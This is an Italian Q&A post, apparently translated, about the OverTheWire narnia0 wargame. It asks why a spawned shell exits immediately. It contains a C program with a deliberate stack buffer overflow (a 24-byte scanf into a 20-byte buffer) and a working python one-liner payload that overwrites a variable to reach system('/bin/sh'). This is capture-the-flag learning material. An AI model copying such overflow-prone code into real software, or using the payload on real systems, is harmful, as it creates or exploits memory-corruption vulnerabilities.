system ("/ bin / sh") termina senza attendere l'input dell'utente [OverTheWire narnia0 challenge] [closed]

Problema:

Perché il processo system ("/ bin / sh") termina immediatamente anziché attendere l'input dell'utente?

Codice:

int main(){
    long val=0x41414141;
    char buf[20];

    printf("Correct val's value from 0x41414141 -> 0xdeadbeef!\n");
    printf("Here is your chance: ");
    scanf("%24s",&buf);

    printf("buf: %s\n",buf);
    printf("val: 0x%08x\n",val);

    if(val==0xdeadbeef)
        system("/bin/sh");
    else {
        printf("WAY OFF!!!!\n");
        exit(1);
    }

    return 0;
}

Esecuzione campione:

narnia0@melinda:/narnia$ (python -c "print 'A'*20+'\xef\xbe\xad\xde'")  | ./narnia0 
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: AAAAAAAAAAAAAAAAAAAAﾭ?
val: 0xdeadbeef
narnia0@melinda:/narnia$